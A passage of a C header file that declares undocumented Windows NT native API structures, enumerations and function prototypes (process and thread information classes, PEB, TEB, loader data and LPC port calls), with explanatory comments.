FLG_DISABLE_DBGPRINT                    0x08000000          // (ddp) Buffer DbgPrint Output\n#define FLG_CRITSEC_EVENT_CREATION              0x10000000          // (cse) Early critical section event creation\n#define FLG_STOP_ON_UNHANDLED_EXCEPTION         0x20000000          // (sue) Stop on unhandled user-mode exception\n#define FLG_ENABLE_HANDLE_EXCEPTIONS            0x40000000          // (bhd) Enable bad handles detection\n#define FLG_DISABLE_PROTDLLS                    0x80000000          // (dpd) Disable protected DLL verification\n#define FLG_VALID_BITS                          0xFFFFFFFF\n\n// For ProcessExecuteFlags\n#define MEM_EXECUTE_OPTION_DISABLE                          0x1\n#define MEM_EXECUTE_OPTION_ENABLE                           0x2\n#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION          0x4\n#define MEM_EXECUTE_OPTION_PERMANENT                        0x8\n#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE          0x10\n#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE            0x20\n#define MEM_EXECUTE_OPTION_DISABLE_EXCEPTION_CHAIN_VALIDATION\t0x40\n#define MEM_EXECUTE_OPTION_VALID_FLAGS                      0x3F\n\n//\n// Process Information Classes\n//\n\ntypedef enum _PROCESSINFOCLASS {\n    ProcessBasicInformation,                // 0x00\n    ProcessQuotaLimits,                     // 0x01\n    ProcessIoCounters,                      // 0x02\n    ProcessVmCounters,                      // 0x03\n    ProcessTimes,                           // 0x04\n    ProcessBasePriority,                    // 0x05\n    ProcessRaisePriority,                   // 0x06\n    ProcessDebugPort,                       // 0x07\n    ProcessExceptionPort,                   // 0x08\n    ProcessAccessToken,                     // 0x09\n    ProcessLdtInformation,                  // 0x0A\n    ProcessLdtSize,                         // 0x0B\n    ProcessDefaultHardErrorMode,            // 0x0C\n    ProcessIoPortHandlers,                  // 0x0D Note: this is kernel mode only\n    ProcessPooledUsageAndLimits,            // 0x0E\n    ProcessWorkingSetWatch,                 // 0x0F\n    ProcessUserModeIOPL,                    // 0x10\n    ProcessEnableAlignmentFaultFixup,       // 0x11\n    ProcessPriorityClass,                   // 0x12\n    ProcessWx86Information,                 // 0x13\n    ProcessHandleCount,                     // 0x14\n    ProcessAffinityMask,                    // 0x15\n    ProcessPriorityBoost,                   // 0x16\n    ProcessDeviceMap,                       // 0x17\n    ProcessSessionInformation,              // 0x18\n    ProcessForegroundInformation,           // 0x19\n    ProcessWow64Information,                // 0x1A\n    ProcessImageFileName,                   // 0x1B\n    ProcessLUIDDeviceMapsEnabled,           // 0x1C\n    ProcessBreakOnTermination,              // 0x1D\n    ProcessDebugObjectHandle,               // 0x1E\n    ProcessDebugFlags,                      // 0x1F\n    ProcessHandleTracing,                   // 0x20\n    ProcessIoPriority,                      // 0x21\n    ProcessExecuteFlags,                    // 0x22\n    ProcessTlsInformation,\n    ProcessCookie,\n    ProcessImageInformation,\n    ProcessCycleTime,\n    ProcessPagePriority,\n    ProcessInstrumentationCallback,\n    ProcessThreadStackAllocation,\n    ProcessWorkingSetWatchEx,\n    ProcessImageFileNameWin32,\n    ProcessImageFileMapping,\n    ProcessAffinityUpdateMode,\n    ProcessMemoryAllocationMode,\n    ProcessGroupInformation,\n    ProcessTokenVirtualizationEnabled,\n    ProcessConsoleHostProcess,\n    ProcessWindowInformation,\n    MaxProcessInfoClass                     // MaxProcessInfoClass should always be the last enum\n} PROCESSINFOCLASS;\n\n//\n// Thread Information Classes\n//\n\ntypedef enum _THREADINFOCLASS {\n    ThreadBasicInformation,                 // 0x00\n    ThreadTimes,                            // 0x01\n    ThreadPriority,                         // 0x02\n    ThreadBasePriority,                     // 0x03\n    ThreadAffinityMask,                     // 0x04\n    ThreadImpersonationToken,               // 0x05  HANDLE\n    ThreadDescriptorTableEntry,             // 0x06  ULONG Selector + LDT_ENTRY\n    ThreadEnableAlignmentFaultFixup,        // 0x07\n    ThreadEventPair,                        // 0x08\n    ThreadQuerySetWin32StartAddress,        // 0x09\n    ThreadZeroTlsCell,                      // 0x0A\n    ThreadPerformanceCount,                 // 0x0B\n    ThreadAmILastThread,                    // 0x0C  ULONG\n    ThreadIdealProcessor,                   // 0x0D\n    ThreadPriorityBoost,                    // 0x0E\n    ThreadSetTlsArrayAddress,               // 0x0F\n    ThreadIsIoPending,                      // 0x10\n    ThreadHideFromDebugger,                 // 0x11\n    MaxThreadInfoClass\n} THREADINFOCLASS;\n\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n    USHORT Flags;\n    USHORT Length;\n    ULONG  TimeStamp;\n    STRING DosPath;\n\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\n\ntypedef struct _SECTION_IMAGE_INFORMATION\n{\n    PVOID TransferAddress;\n    ULONG ZeroBits;\n    SIZE_T MaximumStackSize;\n    SIZE_T CommittedStackSize;\n    ULONG SubSystemType;\n    union {\n        struct {\n            USHORT SubSystemMinorVersion;\n            USHORT SubSystemMajorVersion;\n        };\n        ULONG SubSystemVersion;\n    };\n    ULONG GpValue;\n    USHORT ImageCharacteristics;\n    USHORT DllCharacteristics;\n    USHORT Machine;\n    BOOLEAN ImageContainsCode;\n    BOOLEAN Spare1;\n    ULONG LoaderFlags;\n    ULONG ImageFileSize;                    // Reserved[0] for NT 4.0 and 2000\n    ULONG CheckSum;                         // Reserved[1] until Vista\n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;\n\n\ntypedef struct _RTL_USER_PROCESS_INFORMATION\n{\n    ULONG Length;\n    HANDLE ProcessHandle;\n    HANDLE ThreadHandle;\n    CLIENT_ID ClientId;\n    SECTION_IMAGE_INFORMATION ImageInformation;\n\n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;\n\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n    ULONG MaximumLength;                            // Should be set before call RtlCreateProcessParameters\n    ULONG Length;                                   // Length of valid structure\n    ULONG Flags;                                    // Currently only PPF_NORMALIZED (1) is known:\n                                                    //  - Means that structure is normalized by call RtlNormalizeProcessParameters\n    ULONG DebugFlags;\n\n    PVOID ConsoleHandle;                            // HWND to console window associated with process (if any).\n    ULONG ConsoleFlags;\n    HANDLE StandardInput;\n    HANDLE StandardOutput;\n    HANDLE StandardError;\n\n    CURDIR CurrentDirectory;                        // Specified in DOS-like symbolic link path, ex: \"C:/WinNT/SYSTEM32\"\n    UNICODE_STRING DllPath;                         // DOS-like paths separated by ';' where system should search for DLL files.\n    UNICODE_STRING ImagePathName;                   // Full path in DOS-like format to process'es file image.\n    UNICODE_STRING CommandLine;                     // Command line\n    PVOID Environment;                              // Pointer to environment block (see RtlCreateEnvironment)\n    ULONG StartingX;\n    ULONG StartingY;\n    ULONG CountX;\n    ULONG CountY;\n    ULONG CountCharsX;\n    ULONG CountCharsY;\n    ULONG FillAttribute;                            // Fill attribute for console window\n    ULONG WindowFlags;\n    ULONG ShowWindowFlags;\n    UNICODE_STRING WindowTitle;\n    UNICODE_STRING DesktopInfo;                     // Name of WindowStation and Desktop objects, where process is assigned\n    UNICODE_STRING ShellInfo;\n    UNICODE_STRING RuntimeData;\n    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];\n\n    ULONG EnvironmentSize;\n    ULONG EnvironmentVersion;\n    PVOID PackageDependencyData;\n    ULONG ProcessGroupId;\n    ULONG LoaderThreads;\n\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\n//\n// Process Environment Block\n//\n\ntypedef struct _PEB_FREE_BLOCK\n{\n    struct _PEB_FREE_BLOCK *Next;\n    ULONG Size;\n\n} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;\n\n\ntypedef struct _PEB_LDR_DATA\n{\n    ULONG Length;\n    BOOLEAN Initialized;\n    HANDLE SsHandle;\n    LIST_ENTRY InLoadOrderModuleList;               // Points to the loaded modules (main EXE usually)\n    LIST_ENTRY InMemoryOrderModuleList;             // Points to all modules (EXE and all DLLs)\n    LIST_ENTRY InInitializationOrderModuleList;\n    PVOID      EntryInProgress;\n    BOOLEAN    ShutdownInProgress;                  // Windows 10\n    HANDLE     ShutdownThreadId;                    // Windows 10\n\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\n#define LDRP_PACKED_BINARY              0x00000001\n#define LDRP_STATIC_LINK                0x00000002\n#define LDRP_IMAGE_DLL                  0x00000004\n#define LDRP_LOAD_NOTIFICATION_SENT     0x00000008\n#define LDRP_TELEMETRY_ENTRY_PROCESSED  0x00000010\n#define LDRP_PROCESS_STATIC_IMPORT      0x00000020\n#define LDRP_IN_LEGACY_LISTS            0x00000040\n#define LDRP_IN_INDEXES                 0x00000080\n#define LDRP_SHIM_DLL                   0x00000100\n#define LDRP_IN_EXCEPTION_TABLE         0x00000200\n#define LDRP_LOAD_IN_PROGRESS           0x00001000\n#define LDRP_LOAD_CONFIG_PROCESSED      0x00002000    // Was: LDRP_UNLOAD_IN_PROGRESS\n#define LDRP_ENTRY_PROCESSED            0x00004000\n#define LDRP_ENTRY_PROTECT_DELAY_LOAD   0x00008000    // Was: LDRP_ENTRY_INSERTED\n#define LDRP_CURRENT_LOAD               0x00010000\n#define LDRP_FAILED_BUILTIN_LOAD        0x00020000\n#define LDRP_DONT_CALL_FOR_THREADS      0x00040000\n#define LDRP_PROCESS_ATTACH_CALLED      0x00080000\n#define LDRP_DEBUG_SYMBOLS_LOADED       0x00100000\n#define LDRP_IMAGE_NOT_AT_BASE          0x00200000\n#define LDRP_COR_IMAGE                  0x00400000\n#define LDRP_COR_OWNS_UNMAP             0x00800000\n#define LDRP_SYSTEM_MAPPED              0x01000000\n#define LDRP_IMAGE_VERIFYING            0x02000000\n#define LDRP_DRIVER_DEPENDENT_DLL       0x04000000\n#define LDRP_ENTRY_NATIVE               0x08000000\n#define LDRP_REDIRECTED                 0x10000000\n#define LDRP_NON_PAGED_DEBUG_INFO       0x20000000\n#define LDRP_MM_LOADED                  0x40000000\n#define LDRP_COMPAT_DATABASE_PROCESSED  0x80000000\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n    LIST_ENTRY InLoadOrderLinks;\n    LIST_ENTRY InMemoryOrderLinks;\n    LIST_ENTRY InInitializationOrderLinks;\n    PVOID DllBase;                             // Base address of the module\n    PVOID EntryPoint;\n    ULONG SizeOfImage;\n    UNICODE_STRING FullDllName;\n    UNICODE_STRING BaseDllName;\n    ULONG  Flags;\n    USHORT LoadCount;\n    USHORT TlsIndex;\n    LIST_ENTRY HashLinks;\n    PVOID SectionPointer;\n    ULONG CheckSum;\n    ULONG TimeDateStamp;\n    PVOID LoadedImports;\n    PVOID EntryPointActivationContext;\n    PVOID PatchInformation;\n    LIST_ENTRY ForwarderLinks;\n    LIST_ENTRY ServiceTagLinks;\n    LIST_ENTRY StaticLinks;\n    PVOID ContextInformation;\n    PVOID OriginalBase;\n    LARGE_INTEGER LoadTime;\n\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n#ifdef _MSC_VER\n#pragma warning(disable: 4214)      // warning C4214: nonstandard extension used : bit field types other than int\n#endif\n\ntypedef struct _PEB\n{\n    BOOLEAN InheritedAddressSpace;\n    BOOLEAN ReadImageFileExecOptions;\n    BOOLEAN BeingDebugged;\n    union\n    {\n        UCHAR BitField;\n        struct\n        {\n            UCHAR ImageUsesLargePages:1;\n            UCHAR IsProtectedProcess:1;\n            UCHAR IsImageDynamicallyRelocated:1;\n            UCHAR SkipPatchingUser32Forwarders:1;\n            UCHAR IsPackagedProcess:1;\n            UCHAR IsAppContainer:1;\n            UCHAR IsProtectedProcessLight:1;\n            UCHAR SpareBits:1;\n        };\n    };\n\n    HANDLE Mutant;\n    PVOID ImageBaseAddress;\n    PPEB_LDR_DATA Ldr;\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n    PVOID SubSystemData;\n    PVOID ProcessHeap;\n\n    //--- Windows 7. Can be different in different Windows version. ---------------\n\n    PRTL_CRITICAL_SECTION FastPebLock;\n    PVOID AtlThunkSListPtr;\n    PVOID IFEOKey;\n\n    union\n    {\n        ULONG CrossProcessFlags;\n        struct\n        {\n            ULONG ProcessInJob : 1;\n            ULONG ProcessInitializing : 1;\n            ULONG ProcessUsingVEH : 1;\n            ULONG ProcessUsingVCH : 1;\n            ULONG ProcessUsingFTH : 1;\n            ULONG ReservedBits0 : 25;\n        };\n    };\n\n    union\n    {\n    PVOID KernelCallbackTable;\n    PVOID UserSharedInfoPtr;\n    };\n\n    ULONG SystemReserved[1];\n    PVOID AtlThunkSListPtr32;\n    PVOID ApiSetMap;\n    ULONG TlsExpansionCounter;\n    PVOID TlsBitmap;\n    ULONG TlsBitmapBits[2];                         // relates to TLS_MINIMUM_AVAILABLE\n    PVOID ReadOnlySharedMemoryBase;\n    PVOID HotpatchInformation;\n    PVOID *ReadOnlyStaticServerData;\n    PVOID AnsiCodePageData;\n    PVOID OemCodePageData;\n    PVOID UnicodeCaseTableData;\n\n    //\n    // Useful information for LdrpInitialize\n\n    ULONG NumberOfProcessors;\n    ULONG NtGlobalFlag;\n\n    //\n    // Passed up from MmCreatePeb from Session Manager registry key\n    //\n\n    LARGE_INTEGER CriticalSectionTimeout;\n    ULONG HeapSegmentReserve;\n    ULONG HeapSegmentCommit;\n    ULONG HeapDeCommitTotalFreeThreshold;\n    ULONG HeapDeCommitFreeBlockThreshold;\n\n    //\n    // Where heap manager keeps track of all heaps created for a process\n    // Fields initialized by MmCreatePeb.  ProcessHeaps is initialized\n    // to point to the first free byte after the PEB and MaximumNumberOfHeaps\n    // is computed from the page size used to hold the PEB, less the fixed\n    // size of this data structure.\n    //\n\n    ULONG NumberOfHeaps;\n    ULONG MaximumNumberOfHeaps;\n    PVOID *ProcessHeaps;\n\n    //\n    //\n    PVOID GdiSharedHandleTable;\n    PVOID ProcessStarterHelper;\n    PVOID GdiDCAttributeList;\n    PRTL_CRITICAL_SECTION LoaderLock;\n\n    //\n    // Following fields filled in by MmCreatePeb from system values and/or\n    // image header. These fields have changed since Windows NT 4.0,\n    // so use with caution\n    //\n\n    ULONG OSMajorVersion;\n    ULONG OSMinorVersion;\n    USHORT OSBuildNumber;\n    USHORT OSCSDVersion;\n    ULONG OSPlatformId;\n    ULONG ImageSubsystem;\n    ULONG ImageSubsystemMajorVersion;\n    ULONG ImageSubsystemMinorVersion;\n    ULONG ImageProcessAffinityMask;\n    ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];\n    PVOID PostProcessInitRoutine;\n\n    // More here. Do not use.\n\n} PEB, *PPEB;\n\n\n//\n// Thread environment block\n//\n\ntypedef struct _TEB\n{\n    NT_TIB NtTib;\n    PVOID  EnvironmentPointer;\n    CLIENT_ID ClientId;\n    PVOID ActiveRpcHandle;\n    PVOID ThreadLocalStoragePointer;\n    PPEB ProcessEnvironmentBlock;\n    ULONG LastErrorValue;\n    ULONG CountOfOwnedCriticalSections;\n    PVOID CsrClientThread;\n    PVOID Win32ThreadInfo;\n\n    // Incomplete\n\n} TEB, *PTEB;\n\n\ntypedef struct _PROCESS_BASIC_INFORMATION\n{\n    NTSTATUS ExitStatus;\n    PPEB PebBaseAddress;\n    ULONG_PTR AffinityMask;\n    KPRIORITY BasePriority;\n    ULONG_PTR UniqueProcessId;\n    ULONG_PTR InheritedFromUniqueProcessId;\n\n} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;\n\ntypedef BOOLEAN (*PDLL_INIT_ROUTINE)(\n    IN PVOID DllHandle,\n    IN ULONG Reason,\n    IN PCONTEXT Context OPTIONAL\n    );\n\ntypedef VOID (NTAPI *PUSER_THREAD_START_ROUTINE)(\n    IN PVOID ApcArgument1\n    );\n\ntypedef VOID (*PPS_APC_ROUTINE) (\n    __in_opt PVOID ApcArgument1,\n    __in_opt PVOID ApcArgument2,\n    __in_opt PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserThread(\n    IN HANDLE Process,\n    IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,\n    IN BOOLEAN CreateSuspended,\n    IN ULONG_PTR ZeroBits OPTIONAL,\n    IN SIZE_T MaximumStackSize OPTIONAL,\n    IN SIZE_T CommittedStackSize OPTIONAL,\n    IN PUSER_THREAD_START_ROUTINE StartAddress,\n    IN PVOID Parameter OPTIONAL,\n    OUT PHANDLE Thread OPTIONAL,\n    OUT PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThread (\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenThread (\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationThread(\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationThread(\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSuspendThread(\n    IN HANDLE ThreadHandle,\n    OUT PULONG PreviousSuspendCount OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtResumeThread(\n    IN HANDLE ThreadHandle,\n    OUT PULONG PreviousSuspendCount OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTerminateThread(\n    HANDLE Thread,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwTerminateThread(\n    HANDLE Thread,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetThreadExecutionState(\n    ULONG EsFlags,\n    PULONG PreviousFlags\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueueApcThread(\n    HANDLE ThreadHandle,\n    PPS_APC_ROUTINE ApcRoutine,\n    PVOID ApcArgument1,\n    PVOID ApcArgument2,\n    PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueueApcThread(\n    HANDLE ThreadHandle,\n    PPS_APC_ROUTINE ApcRoutine,\n    PVOID ApcArgument1,\n    PVOID ApcArgument2,\n    PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAdjustPrivilege(\n    ULONG    Privilege,\n    BOOLEAN  Enable,\n    BOOLEAN  CurrentThread,\n    PBOOLEAN Enabled\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateProcessParameters(\n    PRTL_USER_PROCESS_PARAMETERS *ProcessParameters,\n    PUNICODE_STRING ImagePathName,\n    PUNICODE_STRING DllPath,\n    PUNICODE_STRING CurrentDirectory,\n    PUNICODE_STRING CommandLine,\n    PVOID Environment,\n    PUNICODE_STRING WindowTitle,\n    PUNICODE_STRING DesktopInfo,\n    PUNICODE_STRING ShellInfo,\n    PUNICODE_STRING RuntimeData\n    );\n\nNTSYSAPI\nPRTL_USER_PROCESS_PARAMETERS\nNTAPI\nRtlNormalizeProcessParams(\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyProcessParameters(\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserProcess(\n    PUNICODE_STRING NtImagePathName,\n    ULONG Attributes,\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,\n    PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\n    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\n    HANDLE ParentProcess,\n    BOOLEAN InheritHandles,\n    HANDLE DebugPort,\n    HANDLE ExceptionPort,\n    PRTL_USER_PROCESS_INFORMATION ProcessInformation\n    );\n\n#define NtCurrentProcess() ((HANDLE) -1)\n#define NtCurrentThread()  ((HANDLE) -2)\n#define NtCurrentPeb()     ((PPEB)(NtCurrentTeb()->ProcessEnvironmentBlock))\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateProcess(\n    OUT PHANDLE ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  HANDLE ParentProcess,\n    IN  BOOLEAN InheritObjectTable,\n    IN  HANDLE SectionHandle OPTIONAL,\n    IN  HANDLE DebugPort OPTIONAL,\n    IN  HANDLE ExceptionPort OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateProcess(\n    OUT PHANDLE ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  HANDLE ParentProcess,\n    IN  BOOLEAN InheritObjectTable,\n    IN  HANDLE SectionHandle OPTIONAL,\n    IN  HANDLE DebugPort OPTIONAL,\n    IN  HANDLE ExceptionPort OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcess (\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenProcess (\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationProcess (\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTerminateProcess(\n    HANDLE Process,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwTerminateProcess(\n    HANDLE Process,\n    NTSTATUS ExitStatus\n    );\n\n//------------------------------------------------------------------------------\n// LPC Functions\n\n#define MAX_LPC_DATA 0x130    // Maximum number of bytes that can be copied through LPC\n\n// Valid values for PORT_MESSAGE::u2::s2::Type\n#define LPC_REQUEST                  1\n#define LPC_REPLY                    2\n#define LPC_DATAGRAM                 3\n#define LPC_LOST_REPLY               4\n#define LPC_PORT_CLOSED              5\n#define LPC_CLIENT_DIED              6\n#define LPC_EXCEPTION                7\n#define LPC_DEBUG_EVENT              8\n#define LPC_ERROR_EVENT              9\n#define LPC_CONNECTION_REQUEST      10\n\n#define ALPC_REQUEST            0x2000 | LPC_REQUEST\n#define ALPC_CONNECTION_REQUEST 0x2000 | LPC_CONNECTION_REQUEST\n\n#define LPC_MESSAGE_BASE_SIZE\t24\n\n//\n// Define header for Port Message\n//\n\ntypedef struct _PORT_MESSAGE\n{\n    union\n    {\n        struct\n        {\n            USHORT DataLength;          // Length of data following the header (bytes)\n            USHORT TotalLength;         // Length of data + sizeof(PORT_MESSAGE)\n        } s1;\n        ULONG Length;\n    } u1;\n\n    union\n    {\n        struct\n        {\n            USHORT Type;\n            USHORT DataInfoOffset;\n        } s2;\n        ULONG ZeroInit;\n    } u2;\n\n    union\n    {\n        CLIENT_ID ClientId;\n        double   DoNotUseThisField;     // Force quadword alignment\n    };\n\n    ULONG  MessageId;                   // Identifier of the particular message instance\n\n    union\n    {\n        ULONG_PTR ClientViewSize;       // Size of section created by the sender (in bytes)\n        ULONG  CallbackId;              //\n    };\n\n} PORT_MESSAGE, *PPORT_MESSAGE, LPC_MESSAGE, *PLPC_MESSAGE;\n\n//\n// Define structure for initializing shared memory on the caller's side of the port\n//\n\ntypedef struct _PORT_VIEW {\n\n    ULONG  Length;                      // Size of this structure\n    HANDLE SectionHandle;               // Handle to section object with\n                                        // SECTION_MAP_WRITE and SECTION_MAP_READ\n    ULONG  SectionOffset;               // The offset in the section to map a view for\n                                        // the port data area. The offset must be aligned\n                                        // with the allocation granularity of the system.\n    SIZE_T ViewSize;                    // The size of the view (in bytes)\n    PVOID  ViewBase;                    // The base address of the view in the creator\n                                        //\n    PVOID  ViewRemoteBase;              // The base address of the view in the process\n                                        // connected to the port.\n} PORT_VIEW, *PPORT_VIEW;\n\n//\n// Define structure for shared memory coming from remote side of the port\n//\n\ntypedef struct _REMOTE_PORT_VIEW {\n\n    ULONG  Length;                      // Size of this structure\n    SIZE_T ViewSize;                    // The size of the view (bytes)\n    PVOID  ViewBase;                    // Base address of the view\n\n} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;\n\n//\n// Macro for initializing the message header\n//\n\n#ifndef InitializeMessageHeader\n#define InitializeMessageHeader(ph, l, t)                              \\\n{                                                                      \\\n    (ph)->u1.s1.TotalLength      = (USHORT)(l);                        \\\n    (ph)->u1.s1.DataLength       = (USHORT)(l - sizeof(PORT_MESSAGE)); \\\n    (ph)->u2.s2.Type             = (USHORT)(t);                        \\\n    (ph)->u2.s2.DataInfoOffset   = 0;                                  \\\n    (ph)->ClientId.UniqueProcess = NULL;                               \\\n    (ph)->ClientId.UniqueThread  = NULL;                               \\\n    (ph)->MessageId              = 0;                                  \\\n    (ph)->ClientViewSize         = 0;                                  \\\n}\n#endif\n\n/*++\n\n    NtCreatePort\n    ============\n\n    Creates a LPC port object. The creator of the LPC port becomes a server\n    of LPC communication\n\n    PortHandle - Points to a variable that will receive the\n        port object handle if the call is successful.\n\n    ObjectAttributes - Points to a structure that specifies the object�s\n        attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE,\n        OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object.\n\n    MaxConnectionInfoLength - The maximum size, in bytes, of data that can\n        be sent through the port.\n\n    MaxMessageLength - The maximum size, in bytes, of a message\n        that can be sent through the port.\n\n    MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for\n        message storage. Zero means default value.\n\n    ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148).\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreatePort(\n    OUT PHANDLE PortHandle,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG MaxConnectionInfoLength,\n    IN  ULONG MaxMessageLength,\n    IN  ULONG MaxPoolUsage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreatePort(\n    OUT PHANDLE PortHandle,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG MaxConnectionInfoLength,\n    IN  ULONG MaxMessageLength,\n    IN  ULONG MaxPoolUsage\n    );\n\n\n/*++\n\n    NtConnectPort\n    =============\n\n    Creates a port connected to a named port (cliend side).\n\n    PortHandle - A pointer to a variable that will receive the client\n        communication port object handle value.\n\n    PortName - Points to a structure that specifies the name\n        of the port to connect to.\n\n    SecurityQos - Points to a structure that specifies the level\n        of impersonation available to the port listener.\n\n    ClientView - Optionally points to a structure describing\n        the shared memory region used to send large amounts of data\n        to the listener; if the call is successful, this will be updated.\n\n    ServerView - Optionally points to a caller-allocated buffer\n        or variable that receives information on the shared memory region\n        used by the listener to send large amounts of data to the\n        caller.\n\n    MaxMessageLength - Optionally points to a variable that receives the size,\n        in bytes, of the largest message that can be sent through the port.\n\n    ConnectionInformation - Optionally points to a caller-allocated\n        buffer or variable that specifies connect data to send to the listener,\n        and receives connect data sent by the listener.\n\n    ConnectionInformationLength - Optionally points to a variable that\n        specifies the size, in bytes, of the connect data to send\n        to the listener, and receives the size of the connect data\n        sent by the 